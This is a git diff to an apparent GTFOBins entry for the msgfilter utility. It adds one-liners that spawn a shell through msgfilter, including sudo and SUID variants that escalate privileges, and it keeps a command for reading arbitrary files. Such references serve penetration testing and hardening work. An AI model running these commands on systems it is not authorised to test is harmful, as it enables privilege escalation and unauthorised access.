diff --git a/_gtfobins/msgfilter.md b/_gtfobins/msgfilter.md
index 4f37319..1c0f415 100644
--- a/_gtfobins/msgfilter.md
+++ b/_gtfobins/msgfilter.md
@@ -1,16 +1,20 @@
 ---
-description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
 functions:
+  shell:
+    - description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
+      code: |
+        echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
   file-read:
-    - code: |
+    - description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
+      code: |
         LFILE=file_to_read
         msgfilter -P -i "LFILE" /bin/cat
   sudo:
-    - code: |
-        LFILE=file_to_read
-        sudo msgfilter -P -i "LFILE" /bin/cat
+    - description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
+      code: |
+        echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
   suid:
-    - code: |
-        LFILE=file_to_read
-        ./msgfilter -P -i "LFILE" /bin/cat
+    - description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
+      code: |
+        echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
 ---